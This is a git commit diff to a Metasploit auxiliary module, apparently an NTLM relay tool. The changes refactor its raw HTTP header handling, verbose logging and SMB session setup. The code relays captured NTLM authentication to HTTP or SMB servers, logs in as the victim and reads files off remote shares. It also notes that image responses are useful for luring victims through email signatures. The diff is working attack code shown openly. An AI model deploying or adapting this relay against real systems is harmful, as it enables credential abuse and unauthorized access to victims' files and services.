Took/tested all egypt's comments, other than the Actions one

unstable
webstersprodigy 2012-07-22 20:02:12 -04:00
parent fd009fe3ff
commit 6bb31280fb
1 changed files with 26 additions and 29 deletions

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
Complicated custom attacks requiring multiple requests that depend on each
other can be written using the SYNC* options. For example, a typical CSRF
typical CSRF style attack might look like:
style attack might look like:
1) Set an HTTP_GET request with a unique SNYNCID
2) Set an HTTP_POST request with a SYNCFILE, which contains logic to look
@ -255,29 +255,25 @@ class Metasploit3 < Msf::Auxiliary
type3 = (ser_sock == nil ? false : true)
method = datastore['RTYPE'].split('_')[1]
theaders = {'Authorization' => "NTLM " << hash,
'Connection' => 'Keep-Alive' }
theaders = ('Authorization: NTLM ' << hash << "\r\n" <<
"Connection: Keep-Alive\r\n" )
if (method == 'POST')
theaders['Content-Length'] = (datastore['FINALPUTDATA'].length + 4).to_s()
theaders << 'Content-Length: ' + (datastore['FINALPUTDATA'].length + 4).to_s()<< "\r\n"
end
# HTTP_HEADERFILE is how thie module supports cookies, multipart forms, etc
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
if datastore['HTTP_HEADERFILE'] != nil
print_status("Including extra headers from: #{datastore['SYNCFILE']}")
print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}")
#previous request might create the file, so error thrown at runtime
if not ::File.readable?(datastore['HTTP_HEADERFILE'])
print_error("SYNCFILE unreadable, aborting")
print_error("HTTP_HEADERFILE unreadable, aborting")
raise ArgumentError
end
begin
File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
h = header.split(":")
theaders[h[0].strip] = h[1].strip
end
rescue ::Exception => e
print_error("HTTP_HEADERFILE not parsed correctly")
raise e
#read file line by line to deal with any dos/unix ending ambiguity
File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
next if header.strip == ''
theaders << (header) << "\r\n"
end
end
@ -285,12 +281,14 @@ class Metasploit3 < Msf::Auxiliary
'uri' => datastore['RURIPATH'],
'method' => method,
'version' => '1.1',
'headers' => theaders,
}
if (datastore['FINALPUTDATA'] != nil)
#we need to get rid of an extra "\r\n"
theaders = theaders[0..-3]
opts['data'] = datastore['FINALPUTDATA'] << "\r\n\r\n"
end
opts['SSL'] = true if datastore["RSSL"]
opts['raw_headers'] = theaders
ser_sock = connect(opts) if !type3
@ -305,10 +303,7 @@ class Metasploit3 < Msf::Auxiliary
else
print_status("Auth successful, saving server response in database")
end
#if verbose, print the response
if datastore['VERBOSE']
print_status(resp)
end
vprint_status(resp)
end
return [resp, ser_sock]
end
@ -338,7 +333,8 @@ class Metasploit3 < Msf::Auxiliary
blob = Rex::Proto::NTLM::Utils.make_ntlmssp_secblob_init('', '', 0x80201)
ser_sock.client.negotiate(true)
ser_sock.client.require_signing = false
resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob)
resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob, false)
resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
#Save the user_ID for future requests
ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
@ -361,6 +357,7 @@ class Metasploit3 < Msf::Auxiliary
arg = get_hash_info(hash)
dhash = Rex::Text.decode_base64(hash)
#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
blob =
"\xa1" + Rex::Proto::NTLM::Utils.asn1encode(
"\x30" + Rex::Proto::NTLM::Utils.asn1encode(
@ -374,9 +371,10 @@ class Metasploit3 < Msf::Auxiliary
resp = ser_sock.client.session_setup_with_ntlmssp_blob(
blob,
true,
false,
ser_sock.client.auth_user_id
)
resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
#check if auth was successful
if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
@ -399,11 +397,9 @@ class Metasploit3 < Msf::Auxiliary
ser_sock.client.open("\\" << path, 0x1)
resp = ser_sock.client.read()
print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
if datastore["VERBOSE"]
print_status("----Contents----")
print_status(resp["Payload"].v["Payload"])
print_status("----End Contents----")
end
vprint_status("----Contents----")
vprint_status(resp["Payload"].v["Payload"])
vprint_status("----End Contents----")
ser_sock.client.close()
return resp["Payload"].v["Payload"]
end
@ -661,8 +657,9 @@ class Metasploit3 < Msf::Auxiliary
type = datastore['RESPPAGE'].split('.')[-1].downcase
#images can be especially useful (e.g. in email signatures)
if type == 'png' or type == 'gif' or type == 'jpg' or type == 'jpeg'
print_status('setting header')
case type
when 'png', 'gif', 'jpg', 'jpeg'
print_status('setting content type to image')
response.headers['Content-Type'] = "image/" << type
end
rescue